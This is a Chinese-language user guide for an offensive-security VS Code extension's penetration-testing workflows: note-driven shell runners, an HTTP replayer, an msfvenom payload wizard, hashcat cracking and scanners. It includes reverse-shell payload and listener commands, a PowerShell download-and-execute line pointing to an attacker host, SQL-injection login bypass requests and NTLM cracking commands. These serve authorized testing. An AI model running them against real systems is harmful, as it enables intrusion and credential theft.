Skip to content

攻击工作流

本指南将逐步介绍 Weaponized VSCode 中面向攻击的功能:从笔记中运行 shell 命令、重放 HTTP 请求、生成载荷、破解哈希、扫描目标以及解码文本。每个章节展示你在渗透测试中将使用的实际工作流。

前置条件

请确保你已经搭建好工作区并创建了至少一个主机笔记后再继续。许多功能依赖当前主机状态来自动填充 $TARGET$RHOST$IP 等变量。

CodeLens Shell 运行器

当你编辑 hosts/users/services/ 目录中的 Markdown 文件时,扩展会扫描每个代码围栏块以查找可执行的 shell 语言。标记为 zshbashshpowershell 的代码块会在开始围栏上方直接显示两个可点击的 CodeLens 按钮:

  • Run command in terminal -- 将整个代码块内容发送到活动的 VS Code 终端。如果没有打开终端,会自动创建一个。
  • Copy commands -- 将代码块内容复制到剪贴板。

编写可执行代码块

在任何笔记中添加 shell 命令,方式与编写普通 Markdown 代码围栏相同:

markdown
```bash
nmap -sC -sV -oN nmap/initial $TARGET
```

当你点击 Run command in terminal 时,扩展会将命令粘贴到当前聚焦的终端并执行。$TARGET$RHOST$IP$LHOST$LPORT 等环境变量会从工作区状态自动填充,因此你无需硬编码 IP 地址。

多行代码块

代码块可以包含多条命令。块中的每一行都会发送到终端:

markdown
```bash
mkdir -p nmap
nmap -sC -sV -oN nmap/initial $TARGET
nmap -p- -oN nmap/all-ports $TARGET
```

点击一次,所有三条命令将在终端中依次执行。

PowerShell 代码块

同样的 CodeLens 也适用于 PowerShell。这对 Windows 后渗透笔记非常有用:

markdown
```powershell
Get-ADUser -Filter * -Properties MemberOf | Select-Object Name, SamAccountName
Import-Module .\PowerView.ps1
Get-DomainUser -Identity admin
```

实用模式:一次编写,随时运行

核心理念是你的笔记成为一本操作手册。在渗透测试过程中,将你运行的每条命令写入相关的主机或服务笔记。下次遇到类似目标时,打开旧笔记并点击 CodeLens 按钮即可 -- 无需重新输入,无需翻找命令历史。

TIP

保留一份 services/http/http.md 笔记,其中包含常用的 Web 枚举命令。当你在新项目中遇到 HTTP 服务时,这些命令只需点击一下即可运行。

HTTP 重放器

带有 http 语言标签的代码围栏块会获得四个 CodeLens 操作:

CodeLens 按钮行为
Send HTTP Request通过 HTTP 发送原始请求并显示响应
Send HTTPS Request通过 HTTPS 发送原始请求,禁用 TLS 验证
Copy in curl (HTTP)转换为 curl 命令(HTTP)并复制到剪贴板
Copy in curl (HTTPS)转换为 curl 命令(HTTPS)并复制到剪贴板

请求格式

http 代码围栏块中编写标准的原始 HTTP 请求:

markdown
```http
GET /api/users HTTP/1.1
Host: target.htb
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
```

Host 头决定目标服务器。扩展从协议前缀(http://https://)加上 Host 头的值加上请求 URI 构建完整的 URL。

POST 请求示例

markdown
```http
POST /api/login HTTP/1.1
Host: target.htb
Content-Type: application/json
Content-Length: 50

{"username": "admin", "password": "SuperSecret123"}
```

空行将头部与正文分隔,与原始 HTTP 格式完全一致。

响应展示

当你点击 Send HTTP RequestSend HTTPS Request 时,扩展在内部使用 node-fetch 发送请求,并在并排虚拟文档中打开完整的 HTTP 响应。响应包含状态行、所有头部和正文:

HTTP/1.1 200 OK
content-type: application/json
x-powered-by: Express

{"users": [{"id": 1, "name": "admin"}]}

响应文档在笔记旁边打开,这样你可以比较请求和响应,无需切换标签页。

WARNING

HTTPS 模式禁用了 TLS 证书验证rejectUnauthorized: false)。这是有意为之的 -- 渗透测试目标经常使用自签名证书。不要在需要证书验证的生产系统上使用此功能。

Curl 转换

Copy in curl 操作将原始 HTTP 代码块转换为等效的 curl 命令,复制到剪贴板,并在虚拟文档中显示。当你需要在 VS Code 外部运行请求或与队友共享时非常方便:

bash
curl -X POST "http://target.htb/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": "SuperSecret123"}'

实用模式:笔记中的 Burp 风格重放器

从你的代理中捕获一个有趣的请求,将其作为 http 代码块粘贴到主机笔记中,随时点击一下即可重放。内联修改头部或参数并重新发送。这为你提供了一个完全在 VS Code 内部的轻量级 Burp Repeater 工作流。

markdown
## 认证绕过尝试

```http
POST /api/login HTTP/1.1
Host: target.htb
Content-Type: application/json

{"username": "admin' OR 1=1--", "password": "x"}
```

```http
POST /api/login HTTP/1.1
Host: target.htb
Content-Type: application/json

{"username": "admin", "password": "", "role": "admin"}
```

每个代码块都可以独立执行 -- 点击你想测试的那个即可。

载荷生成 (msfvenom)

通过交互式向导生成 msfvenom 载荷,无需记忆命令行参数。

命令: Weapon: Create msfvenom payload命令 ID: weapon.task.msfvenom_creation

交互式向导步骤

向导通过 QuickPick 菜单引导你完成五个步骤:

步骤 1 -- 选择载荷类型。 从 11 个内置选项中选择:

载荷
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
linux/x64/meterpreter/reverse_tcp
linux/x86/meterpreter/reverse_tcp
php/meterpreter/reverse_tcp
python/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https
java/meterpreter/reverse_tcp

步骤 2 -- 选择输出格式。 从 21 个选项中选择:

exe, elf, psh, dll, hta-psh, psh-cmd, psh-net, psh-reflection, elf-so, exe-service, raw, raw | xxd -i, jsp, jar, war, pl, asp, aspx, msi, python-reflection, vba, vba-exe, vba-psh, vbs

INFO

psh 格式会生成一个带有加载器的 PowerShell 载荷。使用 IEX(New-Object System.Net.WebClient).DownloadString('http://YOURIP:80/<output>.ps1') 可以在内存中加载。raw | xxd -i 选项以 C 数组格式输出 shellcode(重定向到 /dev/stdout 效果最佳)。

步骤 3 -- 选择高级选项(多选)。 选择零个或多个:

选项效果
PrependMigrate=true PrependMigrateProc=explorer.exe执行时自动迁移到 explorer.exe
PrependFork=true运行载荷前进行 fork
PrependSetuid=true载荷前调用 setuid(0)
PrependSetresuid=true载荷前调用 setresuid(0,0,0)
PrependSetreuid=true载荷前调用 setreuid(0,0)
PrependChrootBreak=true尝试 chroot 逃逸
AutoSystemInfo=false禁用自动系统信息收集

步骤 4 -- 输入输出文件名。 默认值:./trojan。支持 VS Code 变量,如 ${workspaceFolder}/payloads/shell

步骤 5 -- 是否启动监听器? 选择 Yes 将自动在第二个终端面板中启动一个 multi/handler,并使用匹配的载荷、LHOST 和 LPORT。

生成的命令

向导会组装并在 VS Code 终端中运行最终的 msfvenom 命令:

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  PrependMigrate=true PrependMigrateProc=explorer.exe \
  -o ./trojan -f exe

如果你选择了启动监听器,第二个终端会打开并运行:

bash
msfconsole -q -x 'use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; run -j'

配置

设置项默认值描述
weaponized.msf.venom--msfvenom 二进制文件的路径(必填)
weaponized.lhost--你的攻击者 IP,用作 LHOST
weaponized.lport6789你的攻击者端口,用作 LPORT

.vscode/settings.json 中设置这些配置:

json
{
  "weaponized.msf.venom": "/usr/bin/msfvenom",
  "weaponized.lhost": "10.10.14.5",
  "weaponized.lport": 4444
}

TIP

在 Kali Linux 上,msfvenom 通常位于 /usr/bin/msfvenom。如果你使用自定义安装的 Metasploit,请将设置指向你的二进制文件路径。

哈希破解 (hashcat)

通过交互式向导启动 hashcat,处理模式选择、哈希类型和设备目标。

命令: Weapon: Crack hashes with hashcat命令 ID: weapon.task.hashcat_cracker

交互式向导步骤

步骤 1 -- 选择哈希文件。 文件选择器会打开,让你浏览工作区。导航到包含哈希值的文件(例如 loot/hashes.txt)。

步骤 2 -- 选择攻击模式。

模式Hashcat 参数描述
HASHCAT_MODE_WORDLIST-a 0标准字典攻击
HASHCAT_MODE_COMBINATION-a 1组合两个字典
HASHCAT_MODE_TOGGLE_CASE-a 2对字典进行大小写切换
HASHCAT_MODE_MASK_BRUTE_FORCE-a 3使用掩码暴力破解
HASHCAT_MODE_WORDLIST_MASK-a 6混合模式:字典 + 掩码
HASHCAT_MODE_MASK_WORDLIST-a 7混合模式:掩码 + 字典

步骤 3 -- 选择哈希类型。 覆盖最常见渗透测试场景的完整列表:

标签Hashcat -m示例
HASH_MD50原始 MD5
HASH_SHA1100原始 SHA1
HASH_MD5CYPT500md5crypt ($1$)
HASH_MD4900原始 MD4,NTLM 输入
HASH_NTLM1000Windows NTLM
HASH_SHA2561400原始 SHA-256
HASH_APRMD51600Apache APR1 ($apr1$)
HASH_SHA5121800sha512crypt ($6$)
HASH_BCRYPT3200bcrypt ($2a$, $2b$)
HASH_NETNTLMv25600NetNTLMv2(Responder 捕获)
HASH_SHA256CRYPT7400sha256crypt ($5$)
HASH_KRB5_PA_237500Kerberos Pre-Auth etype 23
HASH_DJANGO_PBKDF2_SHA25610000Django PBKDF2-SHA256
HASH_PBKDF2_HMAC_SHA25610900PBKDF2-HMAC-SHA256
HASH_KRB5_TGS_2313100Kerberoasting (etype 23)
HASH_JWT16500JWT (JSON Web Token)
HASH_KRB5_AS_REP_2318200AS-REP Roasting (etype 23)
HASH_KRB5_PA_1719800Kerberos Pre-Auth etype 17
HASH_KRB5_PA_1819900Kerberos Pre-Auth etype 18
HASH_KRB5_AS_REP_1719500AS-REP Roasting (etype 17)
HASH_KRB5_TGS_1719600Kerberoasting (etype 17)
HASH_KRB5_TGS_18 / HASH_KRB5_AS_REP_1819700Kerberos etype 18 (TGS/AS-REP)

步骤 4 -- 选择设备类型。

设备参数
GPU-D 2
CPU-D 1
FPGA-D 3

步骤 5 -- 输入字典或掩码。 默认值:$ROCKYOU。暴力破解模式下,输入如 ?a?a?a?a?a?a?a?a 的掩码。

TIP

.vscode/settings.jsonweaponized.envs 下设置 ROCKYOU 环境变量,这样 $ROCKYOU 会在每个终端中解析为你的字典路径:

json
{
  "weaponized.envs": {
    "ROCKYOU": "/usr/share/wordlists/rockyou.txt"
  }
}

生成的命令

向导会组装命令并在 VS Code 终端(编辑器面板)中运行:

bash
hashcat --force -a 0 -m 1000 -D 2 loot/hashes.txt /usr/share/wordlists/rockyou.txt

配置

设置项默认值描述
weaponized.hashcathashcathashcat 二进制文件的路径

网络扫描

针对目标启动可配置的网络扫描器,支持自动目标选择。

命令: Weapon: Run scanner over target命令 ID: weapon.task.scan

交互流程

步骤 1 -- 选择目标。

扩展会读取你当前的主机状态。根据情况不同:

  • 一个活动主机: 自动选择该主机。
  • 多个活动主机: QuickPick 以 主机名 (IP) 的格式显示每个主机,供你选择。
  • 未找到主机: 弹出自由文本输入框,要求你手动输入目标。

选择主机后,第二个 QuickPick 显示该主机的可用标识符 -- 主机名、IP 地址和任何别名。选择扫描器需要的标识形式。

步骤 2 -- 选择扫描器。

QuickPick 列出 weaponized.scanners 中定义的每个扫描器。选择你需要的扫描器。

步骤 3 -- 执行。

扩展将扫描器命令中的每个 $TARGET 替换为你选择的标识符,并在 VS Code 终端面板中运行命令。

默认扫描器

以下扫描器为开箱即用。所有扫描器均可在设置中配置:

扫描器命令
rustscanrustscan -a $TARGET -- --script=vuln -A
wfuzz subdomainwfuzz -c -w <dns_wordlist> -u http://$TARGET -H 'Host: FUZZ.$TARGET' --hc 404
ffuf subdomainffuf -c -w <dns_wordlist> -u http://$TARGET -H 'Host: FUZZ.$TARGET' -fc 404
wfuzz https subdomainswfuzz -c -w <dns_wordlist> -u https://$TARGET -H 'Host: FUZZ.$TARGET' --hc 404
ffuf https subdomainsffuf -c -w <dns_wordlist> -u https://$TARGET -H 'Host: FUZZ.$TARGET' -fc 404
nucleinuclei -target $TARGET
dirsearchdirsearch -u http://$TARGET
dirsearch httpsdirsearch -u https://$TARGET
feroxbusterferoxbuster -u http://$TARGET -w <dir_wordlist> -x php,html,txt -t 50
feroxbuster httpsferoxbuster -u https://$TARGET -w <dir_wordlist> -x php,html,txt -t 50

INFO

上面的 <dns_wordlist><dir_wordlist> 占位符对应 weaponized.user_vars.dns_top100000weaponized.user_vars.dir_raft_medium 设置。请将它们配置为指向你的字典文件。

添加自定义扫描器

.vscode/settings.json 中覆盖或扩展扫描器列表:

json
{
  "weaponized.scanners": {
    "my-custom-scan": "custom-tool --target $TARGET --output results.txt",
    "nikto": "nikto -h http://$TARGET",
    "nmap-full": "nmap -sS -sV -O -A -T4 --script vuln $TARGET",
    "masscan": "masscan -p1-65535 $TARGET --rate=1000"
  }
}

规则:

  • 每个键是 QuickPick 中显示的扫描器名称。
  • 每个值是命令模板。$TARGET 在运行时会被替换为你选择的主机标识符。
  • 你可以引用 VS Code 配置变量:${config:weaponized.user_vars.my_wordlist} 可在扫描器命令中使用。
  • 扫描器在 VS Code 终端(编辑器面板)中运行,因此你可以实时查看输出并与进程交互。

实用模式:按项目配置扫描器

按工作区自定义扫描器列表。在你项目的 .vscode/settings.json 中,添加针对目标环境的特定扫描器:

json
{
  "weaponized.scanners": {
    "smb-enum": "crackmapexec smb $TARGET --shares -u '' -p ''",
    "ldap-search": "ldapsearch -x -H ldap://$TARGET -b 'DC=corp,DC=local'",
    "snmp-walk": "snmpwalk -v2c -c public $TARGET"
  }
}

下次运行 Weapon: Run scanner over target 时,你的自定义条目会与默认条目一起显示。

文本解码

使用 CyberChef 的自动检测功能直接在 VS Code 内解码选中的文本。

命令: Weapon: Decode selected text命令 ID: weapon.magic_decoder

工作原理

  1. 选择文本 -- 在任意编辑器中高亮一个 base64 字符串、十六进制编码的数据、URL 编码的载荷或任何你想解码的内容。
  2. 运行命令 -- 从命令面板执行(Ctrl+Shift+P > Weapon: Decode selected text)。
  3. CyberChef 打开 -- 在 VS Code 的 Simple Browser 面板中打开,并预先应用 Magic 配方。

Magic 配方使用深度为 5 的自动检测,这意味着 CyberChef 会尝试多种解码策略并选择最可能的结果。它可以自动处理:

  • Base64(标准和 URL 安全变体)
  • 十六进制
  • URL 编码 / 百分号编码
  • 旋转密码(ROT13 等)
  • 嵌套编码(例如 base64 编码的十六进制)

示例工作流

你在 HTTP 响应中发现了一个可疑的 cookie 值:

eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiZ3Vlc3QifQ==

选中文本,运行解码命令,CyberChef 立即显示:

json
{"user":"admin","role":"guest"}

TIP

这也适用于 JWT 令牌。选中整个 JWT 字符串,CyberChef 会解码头部和载荷部分,显示声明和算法详情。

无需外部浏览器

CyberChef 从 https://gchq.github.io/CyberChef 加载到 VS Code 内置的 Simple Browser 中。你选中的文本会经过 base64 编码后作为 URL 参数传递,因此在页面加载之前不会离开你的机器。一切都在编辑器窗口内完成。

综合运用

以下是在单个项目中使用这些工作流的典型攻击流程:

  1. 搭建工作区并为 target.htb 创建主机笔记。
  2. 运行扫描器 -- 使用 Weapon: Run scanner over target 配合 rustscan 查找开放端口。
  3. 向主机笔记中添加命令 -- 将 nmapgobuster 和其他命令以 bash 代码块形式写入。
  4. 从笔记中执行 -- 点击 CodeLens 运行每条命令。输出显示在终端中,而命令保留在笔记中作为记录。
  5. 捕获 HTTP 请求 -- 将代理中的有趣请求粘贴为 http 代码块,修改后重放。
  6. 生成载荷 -- 使用 Weapon: Create msfvenom payload 构建反向 shell 并自动启动监听器。
  7. 破解捕获的哈希 -- 使用 Weapon: Crack hashes with hashcat 破解从 secretsdump 获取的 NTLM 哈希。
  8. 解码令牌 -- 选中 JWT 或 base64 数据,使用 CyberChef 解码以发现硬编码的密钥。

每条命令、请求和发现都保存在你的 Markdown 笔记中 -- 完全可复现、可审计,随时可用于报告撰写。

从 v0.4.x 迁移

从 v0.4.x 迁移?

如果你使用过旧版本的扩展,以下是工作流的变化:

旧版 (v0.4.x)新版 (v0.5+)
Tasks: Run Task > 从列表中选择直接使用命令面板命令:Weapon: Create msfvenom payloadWeapon: Crack hashes with hashcatWeapon: Run scanner over target
"run command with selection" 任务在任何 bash/sh/zsh/powershell 代码块上使用 CodeLens Run command in terminal
.vscode/tasks.json 中定义任务内置于扩展中 -- 无需 JSON 配置
rustscan 任务需手动输入目标Weapon: Run scanner over target 自动使用笔记中的当前主机
在终端中手动执行 msfvenom 命令交互式向导,自动填充 LHOST/LPORT 并可选自动启动监听器
手动执行 hashcat 命令并记忆参数交互式向导,提供哈希类型/模式菜单和文件选择器

核心理念不变:笔记驱动你的工作流。不同之处在于工具集成现在内置于扩展中,通过引导式向导代替了 VS Code 任务。